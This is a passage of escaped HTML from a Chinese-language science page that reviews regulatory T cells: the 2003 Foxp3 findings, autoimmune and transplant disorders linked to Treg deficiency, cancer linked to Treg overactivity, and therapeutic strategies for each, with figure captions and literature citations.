https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602aa3ba6b64951bcf7e51b4a373987e9dea39c6262b75dfca18952f44b318cbffb4e78581c62b60c52c3da6c47ceee99631-2048x1143.png 2048w\" sizes=\"(max-width: 2560px) 100vw, 2560px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe5 Brunkow\u548cRamsdell\u53d1\u73b0\u4e86scurfy\u7a81\u53d8 \u00a9 The Nobel Committee for Physiology or Medicine. Ill. Mattias Karl\u00e9n<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2.3 2003\u5e74\u7684\u529f\u80fd\u9a8c\u8bc1<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e24\u5e74\u540e\uff0c\u5742\u53e3\u5fd7\u6587\u4ee5\u53ca\u968f\u540e\u7684\u5176\u4ed6\u7814\u7a76\u4eba\u5458\u8bc1\u660e\u4e86\u5728\u666e\u901aT\u7ec6\u80de\u4e2d\u5f3a\u5236\u8868\u8fbe<em>Foxp3<\/em>\u53ef\u4ee5\u8d4b\u4e88\u5176Tregs\u7ec6\u80de\u7684\u6291\u5236\u529f\u80fd\u548c\u8868\u578b\u7279\u5f81\uff0c\u4ece\u800c\u786e\u7acb\u4e86<em>FOXP3<\/em>\u4f5c\u4e3aTregs\u53d1\u80b2\u548c\u529f\u80fd\u7684\u4e3b\u8f6c\u5f55\u56e0\u5b50\u5730\u4f4d\u3002Tregs\u80fd\u963b\u6b62\u5176\u4ed6T\u7ec6\u80de\u9519\u8bef\u5730\u653b\u51fb\u4eba\u4f53\u81ea\u8eab\u7ec4\u7ec7\uff08\u56fe6\uff09\uff0c\u8fd9\u4e00\u73af\u8282\u5bf9\u5916\u5468\u514d\u75ab\u8010\u53d7\u81f3\u5173\u91cd\u8981\uff1b\u540c\u65f6\uff0cTregs\u8fd8\u80fd\u5728\u6e05\u9664\u5165\u4fb5\u8005\u540e\u4fc3\u8fdb\u514d\u75ab\u7cfb\u7edf\u53ca\u65f6\u201c\u5239\u8f66\u201d\uff0c\u907f\u514d\u6301\u7eed\u8fc7\u5ea6\u6d3b\u5316\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08\u91cc\u7a0b\u7891\u8bba\u6587\uff1aHori S\uff0c Nomura T\uff0c Sakaguchi S. &#8220;Control of regulatory T cell development by the transcription factor Foxp3.&#8221; Science 2003; 299:1057-1061.\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"2048\" height=\"989\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a358e919a3f95be9af0f2d92e53868248109920a9c886298182057b338a811c62eeb5904d8848427b64f1f48e799a0a1c.png\" alt=\"\" class=\"wp-image-1468\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a358e919a3f95be9af0f2d92e53868248109920a9c886298182057b338a811c62eeb5904d8848427b64f1f48e799a0a1c.png 2048w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a358e919a3f95be9af0f2d92e53868248109920a9c886298182057b338a811c62eeb5904d8848427b64f1f48e799a0a1c-300x145.png 300w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a358e919a3f95be9af0f2d92e53868248109920a9c886298182057b338a811c62eeb5904d8848427b64f1f48e799a0a1c-1024x495.png 1024w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a358e919a3f95be9af0f2d92e53868248109920a9c886298182057b338a811c62eeb5904d8848427b64f1f48e799a0a1c-768x371.png 768w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a358e919a3f95be9af0f2d92e53868248109920a9c886298182057b338a811c62eeb5904d8848427b64f1f48e799a0a1c-1536x742.png 1536w\" sizes=\"(max-width: 2048px) 100vw, 2048px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe6 \u8c03\u8282\u6027T\u7ec6\u80de\u5982\u4f55\u4fdd\u62a4\u6211\u4eec \u00a9 The Nobel Committee for Physiology or Medicine. Ill. Mattias Karl\u00e9n<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h1 class=\"wp-block-heading\">3. Tregs\u673a\u5236\u76f8\u5173\u7684\u75be\u75c5\u5206\u7c7b\u6846\u67b6\u4e0e\u5bf9\u5e94\u7597\u6cd5<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u8c03\u8282\u6027T\u7ec6\u80de\uff08Tregs\uff09\u662f\u7ef4\u6301\u514d\u75ab\u5e73\u8861\u7684\u201c\u5239\u8f66\u7cfb\u7edf\u201d\u3002\u5f53\u8fd9\u5957\u7cfb\u7edf\u5931\u7075\u6216\u8fc7\u5ea6\u5de5\u4f5c\u65f6\uff0c\u90fd\u4f1a\u5f15\u53d1\u75be\u75c5\u3002\u8fd1\u5e74\u6765\uff0c\u9488\u5bf9Tregs\u7684\u7cbe\u786e\u8c03\u63a7\u6b63\u6210\u4e3a\u514d\u75ab\u6cbb\u7597\u7684\u70ed\u70b9\u3002\u53ef\u4ee5\u4ece\u4e24\u4e2a\u5c42\u9762\u7406\u89e3Tregs\u76f8\u5173\u75be\u75c5\u53ca\u6cbb\u7597\u7b56\u7565\uff1a<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>3.1 Treg\u529f\u80fd\u4e0d\u8db3\uff1a\u514d\u75ab\u201c\u5239\u8f66\u5931\u7075\u201d<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.1.1 \u6838\u5fc3\u673a\u5236<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5f53Tregs\u6570\u91cf\u51cf\u5c11\u6216\u6291\u5236\u529f\u80fd\u4e0b\u964d\u65f6\uff0c\u514d\u75ab\u7cfb\u7edf\u5931\u53bb\u63a7\u5236\uff0c\u5f00\u59cb\u653b\u51fb\u81ea\u8eab\u6216\u79fb\u690d\u7269\uff0c\u5f15\u53d1\u708e\u75c7\u4e0e\u7ec4\u7ec7\u635f\u4f24\u3002\u5e38\u89c1\u673a\u5236\u5305\u62ec<em>FOXP3<\/em>\u57fa\u56e0\u7a81\u53d8\u3001IL-2\u4fe1\u53f7\u7f3a\u9677\u3001\u708e\u75c7\u73af\u5883\u5e72\u6270\u7b49\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.1.2 \u4ee3\u8868\u6027\u75be\u75c5<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u5355\u57fa\u56e0\u75be\u75c5<\/strong>\uff1aIPEX\u7efc\u5408\u5f81\uff08\u7531<em>FOXP3<\/em>\u7a81\u53d8\u5bfc\u81f4\uff09\u3001CD25\u7f3a\u9677\u75c7\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u7cfb\u7edf\u6027\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\uff1a<\/strong>\u7cfb\u7edf\u6027\u7ea2\u6591\u72fc\u75ae\uff08SLE\uff09\u7b49<\/li>\n\n\n\n<li><strong>\u5668\u5b98\u7279\u5f02\u6027\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5<\/strong>\uff1a1\u578b\u7cd6\u5c3f\u75c5\uff08T1D\uff09\u3001\u94f6\u5c51\u75c5\u3001\u91cd\u75c7\u808c\u65e0\u529b\u3001\u708e\u75c7\u6027\u80a0\u75c5\uff08IBD\uff09\u3001\u591a\u53d1\u6027\u786c\u5316\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u79fb\u690d\u76f8\u5173<\/strong>\uff1a\u5668\u5b98\u6392\u65a5\u3001\u79fb\u690d\u7269\u6297\u5bbf\u4e3b\u75c5\uff08GVHD\uff09\u7b49\u3002<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.1.3 \u6cbb\u7597\u4e0e\u7814\u7a76\u65b9\u5411\u4e3e\u4f8b<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u81ea\u8eab\u514d\u75ab\u3001\u8fc7\u654f\u53ca\u79fb\u690d\u7b49\u8fc7\u5ea6\u708e\u75c7\u6027\u75be\u75c5\u4e2d\uff0c\u9488\u5bf9Tregs\u7ec6\u80de\u7684\u6cbb\u7597\u7b56\u7565\u4e3b\u8981\u65e8\u5728\u589e\u5f3a\u5176\u529f\u80fd\u6216\u5b9e\u73b0\u7cbe\u51c6\u7684\u514d\u75ab\u8010\u53d7\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u589e\u5f3a\u5185\u6e90Tregs<\/strong>\uff1a\u836f\u7269\u6216\u4ee3\u8c22\u901a\u8def\u8c03\u63a7\uff08\u5982\u96f7\u5e15\u9709\u7d20\u3001HDAC\u6291\u5236\u5242\u7b49\uff09\u3001IL-2\u76f8\u5173\u65b9\u6cd5\uff08\u4f4e\u5242\u91cfIL-2\u3001\u5de5\u7a0b\u5316IL-2\u3001\u6297-IL-2\u590d\u5408\u7269\uff09\u3001\u7ec6\u80de\u56e0\u5b50\u8c03\u63a7\uff08IL-10\u3001TGF-\u03b2\u7b49\uff09\u3001\u8010\u53d7\u6027\u6811\u7a81\u72b6\u7ec6\u80de\u8bf1\u5bfc\u7684Treg\uff08DC-driven Treg\uff09\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u7ec6\u80de\u7597\u6cd5<\/strong>\uff1a\u591a\u514b\u9686Treg\u56de\u8f93\u3001\u5de5\u7a0b\u5316\u7279\u5f02Treg\uff08\u5982darTreg\uff0c\u5305\u62ecCAR\u2011Treg\u3001TCR\u2011Treg\u7b49\u5f62\u5f0f\uff09\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u8bf1\u5bfc\u6297\u539f\u7279\u5f02\u8010\u53d7<\/strong><strong>\u8bf1\u5bfc<\/strong>\uff1a\u8010\u53d7\u6027\u80bd\u8bf1\u5bfc\u3001\u86cb\u767d\u8010\u53d7\u75ab\u82d7\u3001\u7279\u5f02\u6027\u514d\u75ab\u7597\u6cd5\uff08AIT\uff09\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u9012\u9001\u5e73\u53f0<\/strong>\uff08\u4f5c\u4e3a\u9012\u9001\u5de5\u5177\uff0c\u53ef\u4e0e\u524d\u4e09\u79cd\u7b56\u7565\u7ed3\u5408\uff09\uff1a mRNA\u3001\u7eb3\u7c73\u9897\u7c92\u6216\u5916\u6ccc\u4f53\u7b49\u65b0\u578b\u5e73\u53f0\uff0c\u53ef\u5c06\u6297\u539f\u80bd\u6216\u514d\u75ab\u8c03\u8282\u56e0\u5b50\u5b9a\u5411\u9012\u9001\u81f3\u9776\u7ec4\u7ec7\uff0c\u589e\u5f3a\u5c40\u90e8\u8010\u53d7\u3001\u964d\u4f4e\u7cfb\u7edf\u6027\u526f\u4f5c\u7528\u3002<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"784\" height=\"1024\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/Regulatory-T-cells-in-the-treatment-of-disease_09-784x1024.jpeg\" alt=\"\" class=\"wp-image-1465\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/Regulatory-T-cells-in-the-treatment-of-disease_09-784x1024.jpeg 784w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/Regulatory-T-cells-in-the-treatment-of-disease_09-230x300.jpeg 230w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/Regulatory-T-cells-in-the-treatment-of-disease_09-768x1004.jpeg 768w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/Regulatory-T-cells-in-the-treatment-of-disease_09-1175x1536.jpeg 1175w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/Regulatory-T-cells-in-the-treatment-of-disease_09-1567x2048.jpeg 1567w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/Regulatory-T-cells-in-the-treatment-of-disease_09-scaled.jpeg 1959w\" sizes=\"(max-width: 784px) 100vw, 784px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe7 \u5728\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\u548c\u79fb\u690d\u9886\u57dfTregs\u7684\u6cbb\u7597\u7b56\u7565\uff08Bluestone, J.A., Burnett, B.K., Crute, C.E.&nbsp;<em>et al.<\/em>&nbsp;Regulatory T cell therapies to treat autoimmune diseases and transplant rejection.&nbsp;<em>Nat Immunol<\/em>&nbsp;26, 819\u2013824 (2025).\uff09<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>3.2 Treg\u8fc7\u5ea6\u6d3b\u8dc3\uff1a\u514d\u75ab\u201c\u5239\u8f66\u8fc7\u731b\u201d<\/strong><\/h2>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.2.1 \u6838\u5fc3\u673a\u5236<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u4eba\u7c7b\u548c\u5c0f\u9f20\u7684\u591a\u79cd\u80bf\u7624\u7c7b\u578b\u4e2d\uff0c\u5faa\u73af\u7cfb\u7edf\u53ca\u80bf\u7624\u90e8\u4f4d\u5747\u89c2\u5bdf\u5230Tregs\u7ec6\u80de\u6570\u91cf\u7684\u589e\u52a0\u3002\u67d0\u4e9b\u80bf\u7624\u4f1a\u589e\u5f3a\u201c\u62db\u52df\u201dTregs\uff0c\u5e76\u4e14\u4e5f\u4f1a\u8fdb\u884c\u80bf\u7624\u5185Tregs\u7684\u5c40\u90e8\u6269\u589e\uff0c\u5f62\u6210\u6709\u5229\u4e8e\u5176\u5b58\u6d3b\u7684\u5fae\u73af\u5883\uff0c\u5f62\u6210\u514d\u75ab\u6291\u5236\u533a\uff0c\u524a\u5f31\u6297\u80bf\u7624\u514d\u75ab\u53cd\u5e94\uff0c\u8ba9\u764c\u7ec6\u80de\u5728\u514d\u75ab\u7cfb\u7edf\u9762\u524d\u201c\u9690\u8eab\u201d\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><ins><\/ins>\u56fe8 \u80bf\u7624\u5fae\u73af\u5883\u4e2d\u7684Tregs\u7ec6\u80de\uff08Aristin Revilla, Sonia, Onno Kranenburg, and Paul J. Coffer. &#8220;Colorectal cancer-infiltrating regulatory T cells: functional heterogeneity, metabolic adaptation, and therapeutic targeting.&#8221; Frontiers in immunology 13 (2022): 903564.\uff09<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.2.2 \u4ee3\u8868\u6027\u75be\u75c5<\/strong><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u4e0a\u76ae\u6765\u6e90\u7684\u5b9e\u4f53\u7624\uff1a<\/strong>\u5375\u5de2\u764c\u3001\u4e73\u817a\u764c\u3001\u80ba\u764c\u3001\u809d\u764c\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u6d88\u5316\u7cfb\u7edf\u764c\u75c7<\/strong><strong>\uff1a<\/strong>\u7ed3\u76f4\u80a0\u764c\u3001\u80f0\u817a\u764c\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u5176\u4ed6\u5b9e\u4f53\u7624\uff1a<\/strong>\u80be\u764c\u3001\u80f6\u8d28\u6bcd\u7ec6\u80de\u7624\u3001\u9ed1\u8272\u7d20\u7624\u7b49\uff1b<\/li>\n\n\n\n<li><strong>\u8840\u6db2\u7cfb\u7edf\u76f8\u5173\u764c\u75c7\uff1a<\/strong>\u6162\u6027\u7c92\u7ec6\u80de\u767d\u8840\u75c5\u7b49\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0cTregs \u5bf9\u764c\u75c7\u7684\u5f71\u54cd\u4f9d\u8d56\u4e8e\u80bf\u7624\u5fae\u73af\u5883\uff08TME\uff09\u7684\u4ee3\u8c22\u7279\u5f81\u3001\u7ec6\u80de\u7ec4\u6210\u53ca\u514d\u75ab\u72b6\u6001\uff0c\u56e0\u6b64\u5e76\u975e\u6240\u6709\u764c\u75c7\u5747\u53d7\u5176\u663e\u8457\u8c03\u63a7\u3002<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>3.2.3 \u6cbb\u7597\u4e0e\u7814\u7a76\u65b9\u5411\u4e3e\u4f8b<\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u764c\u75c7\u6cbb\u7597\u4e2d\uff0c\u9488\u5bf9Tregs\u7ec6\u80de\u7684\u6cbb\u7597\u7b56\u7565\u81f4\u529b\u4e8e\u964d\u4f4e\u5176\u6570\u91cf\u6216\u6291\u5236\u5176\u6d3b\u6027\u3002<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>\u975e\u7279\u5f02\u6027Tregs\u6e05\u9664\uff1a<\/strong>\u901a\u8fc7\u5316\u7597\u6216\u7ec6\u80de\u6bd2\u6027\u4f5c\u7528\u964d\u4f4e\u5916\u5468\u53ca\u80bf\u7624\u5185Tregs\u6570\u91cf\uff0c\u4f46\u7f3a\u4e4f\u9009\u62e9\u6027\uff0c\u4e5f\u4f1a\u635f\u4f24\u5176\u4ed6\u514d\u75ab\u7ec6\u80de\u3002\u5305\u62ec\u4f20\u7edf\u5316\u7597\uff08\u5982\u73af\u78f7\u9170\u80fa\uff09\u3001\u8282\u5f8b\u6027\u5316\u7597\uff08\u5982\u4f4e\u5242\u91cf\u73af\u78f7\u9170\u80fa\uff09\u3001\u916a\u6c28\u9178\u6fc0\u9176\u6291\u5236\u5242\uff08\u5982\u8212\u5c3c\u66ff\u5c3c\u3001\u7d22\u62c9\u975e\u5c3c\u3001\u4f0a\u9a6c\u66ff\u5c3c\uff09\u7b49\u3002<\/li>\n\n\n\n<li><strong>\u9776\u5411\u6027Tregs\u6e05\u9664<\/strong>\uff1a\u5229\u7528Treg\u8868\u9762\u7279\u5f81\u5206\u5b50\uff08\u5982CD25\u6216IL-2\u53d7\u4f53\uff09\u8fdb\u884c\u514d\u75ab\u9776\u5411\u6e05\u9664\u3002\u76f8\u5173\u836f\u7269\u5305\u62ec\u6297CD25\u6297\u4f53\uff08\u5982Daclizumab\u3001Basiliximab\u3001LMB-2\u7b49\uff09\u3001IL-2-\u6bd2\u7d20\u878d\u5408\u86cb\u767d\uff08Ontak\uff09\u7b49\u3002\u5c3d\u7ba1\u8f83\u5177\u9488\u5bf9\u6027\uff0c\u4f46\u5168\u5c40Treg\u6e05\u9664\u4ecd\u6613\u7834\u574f\u514d\u75ab\u7a33\u6001\uff0c\u5f15\u53d1\u81ea\u8eab\u514d\u75ab\u53cd\u5e94\u3002<\/li>\n\n\n\n<li><strong>\u6291\u5236Tregs\u8fc1\u79fb<\/strong>\uff1a\u6291\u5236Treg\u8d8b\u5316\u56e0\u5b50\u2013\u53d7\u4f53\u8f74\u4fe1\u53f7\uff0c\u9632\u6b62\u5176\u79ef\u805a\u4e8e\u80bf\u7624\u5fae\u73af\u5883\uff0c\u4ece\u800c\u51cf\u8f7b\u5c40\u90e8\u514d\u75ab\u6291\u5236\u3002\u76f8\u5173\u9776\u70b9\u5305\u62ecCCR10 \u3001CCR4\u3001 CCR8\u7b49\u3002<\/li>\n\n\n\n<li><strong>\u514d\u75ab\u68c0\u67e5\u70b9\u6291\u5236\u5242\uff08ICI\uff09<\/strong>\uff1aTregs\u7ec6\u80de\u8868\u8fbe\u9ad8\u6c34\u5e73CTLA-4\u4e0ePD-1\u7b49\u514d\u75ab\u68c0\u67e5\u70b9\u5206\u5b50\uff0c\u963b\u65ad\u8fd9\u4e9b\u68c0\u67e5\u70b9\u4e0d\u4ec5\u80fd\u6fc0\u6d3b\u6548\u5e94T\u7ec6\u80de\uff0c\u4e5f\u53ef\u80fd\u524a\u5f31Treg\u7684\u6291\u5236\u4f5c\u7528\u6216\u8bf1\u5bfc\u5176\u6e05\u9664\u3002\u76f8\u5173\u9776\u70b9\u5305\u62ecCTLA-4\u3001PD-1\u3001TIM-3\u3001LAG-3\u3001TIGIT\u7b49\u3002<\/li>\n\n\n\n<li><strong>TNFR\uff08\u80bf\u7624\u574f\u6b7b\u56e0\u5b50\u53d7\u4f53\uff09\u76f8\u5173\u8c03\u63a7<\/strong>\uff1a\u6fc0\u6d3bGITR\u3001OX40\u3001CD27\u548c4-1BB\u7b49\u80bf\u7624\u574f\u6b7b\u56e0\u5b50\u53d7\u4f53\u5bb6\u65cf\uff08TNFRs\uff09\u6210\u5458\uff0c\u662f\u63d0\u5347\u514d\u75ab\u5e94\u7b54\u3001\u524a\u5f31Treg\u6291\u5236\u7684\u91cd\u8981\u65b9\u5411\u3002<\/li>\n\n\n\n<li><strong>\u4ee3\u8c22\u901a\u8def\u6291\u5236<\/strong>\uff1aIDO\uff08\u5432\u54da\u80fa-2,3-\u53cc\u52a0\u6c27\u9176\uff09\u53ef\u901a\u8fc7\u8272\u6c28\u9178\u4ee3\u8c22\u4fc3\u8fdbTreg\u5206\u5316\u3002IDO\u6291\u5236\u5242\uff08\u5982Epacadostat\u3001Indoximod\uff09\u80fd\u963b\u65ad\u8fd9\u4e00\u514d\u75ab\u6291\u5236\u9014\u5f84\uff0c\u6062\u590d\u514d\u75ab\u6d3b\u6027\u3002<\/li>\n\n\n\n<li><strong>\u4e2d\u548cTreg\u884d\u751f\u7ec6\u80de\u56e0\u5b50<\/strong>\uff1a\u901a\u8fc7\u4e2d\u548c\u6297\u4f53\u963b\u65ad\u80bf\u7624\u5fae\u73af\u5883\u4e2dTregs\u7ec6\u80de\u9ad8\u6c34\u5e73\u5206\u6ccc\u7684\u6297\u708e\u7ec6\u80de\u56e0\u5b50\uff08TGF<em>\u03b2<\/em>\u3001IL-10\u548cIL-35\uff09\u589e\u5f3a\u514d\u75ab\u5e94\u7b54\uff0c\u6291\u5236\u80bf\u7624\u751f\u957f\u4e0e\u8f6c\u79fb\u3002<\/li>\n\n\n\n<li><strong>\u80bf\u7624\u5185\u7279\u5f02\u6027Tregs\u7ec6\u80de\u9776\u70b9\u8c03\u63a7\uff1a<\/strong>\u9488\u5bf9\u4ec5\u5728\u80bf\u7624\u5fae\u73af\u5883\u4e2d\u9ad8\u8868\u8fbe\u7684\u5206\u5b50\uff08\u5982NRP1\u3001CCR8\u7b49\uff09\u8fdb\u884c\u7cbe\u51c6\u9776\u5411\uff0c\u4ee5\u5b9e\u73b0\u5c40\u90e8Treg\u6e05\u9664\u800c\u4fdd\u7559\u7cfb\u7edf\u6027\u514d\u75ab\u8010\u53d7\u3002<\/li>\n\n\n\n<li><strong>\u7ec4\u5408\u514d\u75ab\u7597\u6cd5<\/strong>\uff1a\u591a\u7597\u6cd5\u8054\u5408\u4f7f\u7528\uff0c\u6bd4\u5982\u6297CD25\u6297\u4f53\u4e0e\u6811\u7a81\u72b6\u7ec6\u80de\u75ab\u82d7\u8054\u5408\u4f7f\u7528\u3001\u8054\u5408\u4f7f\u7528GITR\u4e0eCTLA4 \u6216PD-1\u6291\u5236\u5242\uff0c\u53ef\u5f62\u6210\u591a\u5c42\u514d\u75ab\u6fc0\u6d3b\u4e0e\u514d\u75ab\u6291\u5236\u89e3\u9664\u7684\u534f\u540c\u6548\u5e94\u3002<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"1041\" height=\"544\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602afc228fb22ff2c4af897b52eb3c3f9a7f174d13557656972897800be64563ec9dda34f9ad02aaf7f85b2bc085c29897d7.png\" alt=\"\" class=\"wp-image-1471\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602afc228fb22ff2c4af897b52eb3c3f9a7f174d13557656972897800be64563ec9dda34f9ad02aaf7f85b2bc085c29897d7.png 1041w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602afc228fb22ff2c4af897b52eb3c3f9a7f174d13557656972897800be64563ec9dda34f9ad02aaf7f85b2bc085c29897d7-300x157.png 300w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602afc228fb22ff2c4af897b52eb3c3f9a7f174d13557656972897800be64563ec9dda34f9ad02aaf7f85b2bc085c29897d7-1024x535.png 1024w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602afc228fb22ff2c4af897b52eb3c3f9a7f174d13557656972897800be64563ec9dda34f9ad02aaf7f85b2bc085c29897d7-768x401.png 768w\" sizes=\"(max-width: 1041px) 100vw, 1041px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe9 \u9776\u5411Tregs\u6cbb\u7597\u80bf\u7624\u7684\u7597\u6cd5\uff08Shan F, Somasundaram A, Bruno TC, Workman CJ, Vignali DAA. Therapeutic targeting of regulatory T cells in cancer. Trends Cancer. 2022 Nov;8(11):944-961.\uff09<\/p>\n\n\n\n<h1 class=\"wp-block-heading\"><strong>\u5c0f\u7ed3<\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">1995\u20142003 \u5e74\u95f4\uff0c\u4e00\u7cfb\u5217\u76f8\u4e92\u5370\u8bc1\u7684\u7814\u7a76\u9996\u6b21\u7cfb\u7edf\u5730\u8bc6\u522b\u5e76\u5b9a\u4e49\u4e86\u8c03\u8282\u6027T\u7ec6\u80de\uff08Tregs\uff09\u8fd9\u4e00\u72ec\u7acb\u4e9a\u7fa4\uff0c\u4f7f\u8fd9\u4e00\u6982\u5ff5\u4ece\u96f6\u6563\u3001\u5b58\u4e89\u8bae\u7684\u5b9e\u9a8c\u89c2\u5bdf\u4e0a\u5347\u4e3a\u9610\u91ca\u514d\u75ab\u8010\u53d7\u673a\u5236\u7684\u5173\u952e\u7406\u8bba\u652f\u70b9\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8be5\u7cfb\u5217\u7814\u7a76\u63ed\u793a\u4e86\u533a\u522b\u4e8e\u80f8\u817a\u4e2d\u67a2\u8010\u53d7\u7684\u201c\u7b2c\u4e8c\u9053\u9632\u7ebf\u201d\u2014\u2014\u5916\u5468\u514d\u75ab\u8010\u53d7\u4e2d\u7684\u4e00\u79cd\u8c03\u63a7\u8def\u5f84\uff1aTregs\u5728\u5916\u5468\u6301\u7eed\u6291\u5236\u8fc7\u5ea6\u7684\u81ea\u8eab\u514d\u75ab\u53cd\u5e94\uff0c\u4ece\u800c\u4e3a\u81ea\u8eab\u514d\u75ab\u3001\u79fb\u690d\u4e0e\u80bf\u7624\u75be\u75c5\u7b49\u9886\u57df\u7684\u6cbb\u7597\u4e0e\u836f\u7269\u5f00\u53d1\u63d0\u4f9b\u4e86\u5206\u5b50\u673a\u5236\u57fa\u7840\uff0c\u4e3a\u591a\u79cd\u521b\u65b0\u7597\u6cd5\u94fa\u5e73\u4e86\u9053\u8def\uff0c\u76ee\u524d\u5df2\u6709\u591a\u9879\u7b56\u7565\u8fdb\u5165\u4e34\u5e8a\u8bd5\u9a8c\u9636\u6bb5\uff0c\u5c24\u5176\u7ec6\u80de\u6cbb\u7597\u548c\u7eb3\u7c73\u836f\u7269\u662f\u5f53\u524d\u7814\u53d1\u70ed\u70b9\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u6211\u56fd\u5728Tregs\u7684\u4e34\u5e8a\u8f6c\u5316\u65b9\u9762\u4e5f\u53d6\u5f97\u663e\u8457\u8fdb\u5c55\uff0c\u76f8\u5173\u7814\u7a76\u5df2\u8986\u76d61\u578b\u7cd6\u5c3f\u75c5\u3001\u7cfb\u7edf\u6027\u7ea2\u6591\u72fc\u75ae\u3001\u80be\u79fb\u690d\u7b49\u75be\u75c5\u9886\u57df\u3002<\/p>\n\n\n\n<p 